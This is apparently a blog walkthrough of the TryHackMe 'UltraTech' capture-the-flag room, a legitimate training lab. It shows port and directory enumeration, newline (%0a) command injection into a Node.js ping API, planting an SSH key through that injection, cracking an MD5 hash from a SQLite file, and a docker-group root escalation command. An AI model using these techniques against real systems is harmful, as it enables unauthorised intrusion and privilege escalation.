TryHackMe | UltraTech

In this walkthrough, I demonstrate how I obtained complete ownership of the UltraTech room on TryHackMe
TryHackMe | UltraTech
In: TryHackMe, Attack, CTF

Nmap Results

# Nmap 7.94SVN scan initiated Sat Apr 13 23:52:45 2024 as: nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt
Nmap scan report for
Host is up (0.083s latency).
Not shown: 65531 closed tcp ports (reset)
21/tcp    open  ftp     vsftpd 3.0.3
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 dc:66:89:85:e7:05:c2:a5:da:7f:01:20:3a:13:fc:27 (RSA)
|   256 c3:67:dd:26:fa:0c:56:92:f3:5b:a0:b3:8d:6d:20:ab (ECDSA)
|_  256 11:9b:5a:d6:ff:2f:e4:49:d2:b5:17:36:0e:2f:1d:2f (ED25519)
8081/tcp  open  http    Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
31331/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: UltraTech - The best of technology (AI, FinTech, Big Data)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
# Nmap done at Sat Apr 13 23:54:02 2024 -- 1 IP address (1 host up) scanned in 76.97 seconds

Service Enumeration


No anonymous login


Looks like a simple REST API

Gobuster Enumeration

API Endpoints

gobuster dir -u http://$target:8081 -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 100 -o gobuster-8081.txt
/auth                 (Status: 200) [Size: 39]
/ping                 (Status: 500) [Size: 1094]
Looks like the '/auth' endpoint takes HTTP GET for logins
At the moment, we don't know enough about the environment to begin guessing usernames and passwords, though I did try a few simple guesses like admin:admin and admin:password


Hovering over the Contact Us NOW button reveals an email address and potential username for the API:
More potential usernames


Viewing the source code, we can see the login form and js/api.js
Looking at js/api.js we can see the code that submits the form to the API
The API URL is defined as the same hostname as that in the partners.html page
Here's a test submission on the form
There's also an interesting revelation about the /ping endpoint
Test ping to loopback on server
Test ping to my VPN IP
The ip parameter of the ping endpoint is clearly passing the argument to the ping binary of the underlying operating system. If we can find a way to chain a command together, we should be able to get command execution on the target.

Typically with Linux, we can chain commands together like command && command or command || command or command ; command.
The URL encoding of ; is %3b -- no luck
The URL encoding of | is %7c -- no luck, I suspect characters are getting sanitized
The URL encoding of & is %26 -- again, no luck
I suspect the API is stripping some characters from the payload based on additional research I did (not pictured). So, what is another way we might be able to cause the API to run an additional command?

The %0a byte! This is a LF control byte, and causes the shell to place the characters after the %0a on a new line. It's akin to pressing to Enter and running a command after another command.
🎉 Bingo! 🎉


The API on tcp/8081 takes user input at both the /auth and /ping endpoints. However, the /ping endpoint is easily the more interesting endpoint, because it feeds the user input to the host operating system, which has great potential for command injection.

The developers made an effort to strip certain characters from the user input to prevent command injection, but need to implement better filters (e.g. regex) to take explicitly IPv4 and IPv6 addresses and/or host names.

Easy SSH

Create a SSH Key Pair on Kali

ssh-keygen -t rsa -b 4096 -C "" -f "./www_ssh_key" -N ""
cat ./

We're going to need the string from file in the next step

Add the SSH Key to the Target

We're going to run a sequence of commands on the host in this order:

  1. mkdir ~/.ssh — create the user's .ssh directory
  2. echo '... public key here ...' > ~/.ssh/authroized_keys — trust the key

We know that we can chain commands together with the %0a byte, so we just need to do the following:

  1. URL-encode all of the commands above
  2. Join them together with the %0a byte

SSH into the Target

ssh -i www_ssh_key www@

Post-Exploit Enumeration

Operating Environment

OS & Kernel

VERSION="18.04.2 LTS (Bionic Beaver)"
PRETTY_NAME="Ubuntu 18.04.2 LTS"
Linux ultratech-prod 4.15.0-46-generic #49-Ubuntu SMP Wed Feb 6 09:33:07 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

Current User

uid=1002(www) gid=1002(www) groups=1002(www)

Sorry, user www may not run sudo on ultratech-prod.    

Users and Groups

Local Users


Local Groups


Network Configurations

Network Interfaces


Open Ports

tcp        0      0*               LISTEN      -    

Processes and Services

Interesting Processes

root       772  0.0  0.5  30028  2636 ?        Ss   03:51   0:00 /usr/sbin/cron -f
root      1096  0.0  0.5  57500  2544 ?        S    03:52   0:00  \_ /usr/sbin/CRON -f
www       1101  0.0  0.1   4628   712 ?        Ss   03:52   0:00      \_ /bin/sh -c sh /home/www/api/
www       1102  0.0  0.1   4628   716 ?        S    03:52   0:00          \_ sh /home/www/api/
www       1105  0.2  7.3 1192672 36128 ?       Sl   03:52   0:18              \_ node index.js

root       791  0.0  0.3  28676  1772 ?        Ss   03:51   0:00 /usr/sbin/vsftpd /etc/vsftpd.conf

Interesting Services

user@1002.service           loaded active running User Manager for UID 1002   

Scheduled Tasks

Interesting Scheduled Tasks

* * * * * sh /home/www/api/  

Interesting Files


SQLite format 3
            login Varchar,
            password Varchar,
            type Int

Privilege Escalation

Lateral to r00t

During the post-exploit enumeration phase, we immediately find an a SQLite database with some user hashes in it. The passwords are hashed using MD5 — an incredibly poor choice — and easily cracked.

There is a sqlite database with a hash of one of the local users

The admin user is not a local user on the system, but may be one of the user's in the web app. So, we'll only focus on the r00t user's hash. I'm going to place it in a file and crack it with john.

Easily cracked with rockyou.txt
We can easily switch to the r00t user's account on the command line

Escalate to Root

Looking at the screenshot above, we can see that the r00t user is a member of the docker user group, which makes it very easy to mount the host operating system as root inside of the container
docker | GTFOBins
There is a Docker image at our disposal
docker run -v /:/mnt --rm -it bash chroot /mnt bash

This command allows us to mount / of the host operating system internal to the container

I'm in the container, but you should recognize these folders


Which software is using the port 8081?

Click to Show Answer

Which other non-standard port is used?

Click to Show Answer

Which software using this port?

Click to Show Answer

Which GNU/Linux distribution seems to be used?

Click to Show Answer

The software using the port 8081 is a REST api, how many of its routes are used by the web application?

Click to Show Answer

There is a database lying around, what is its filename?

Click to Show Answer

What is the first user's password hash?

Click to Show Answer

What is the password associated with this hash?

Click to Show Answer

What are the first 9 characters of the root user's private SSH key?

Click to Show Answer

More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.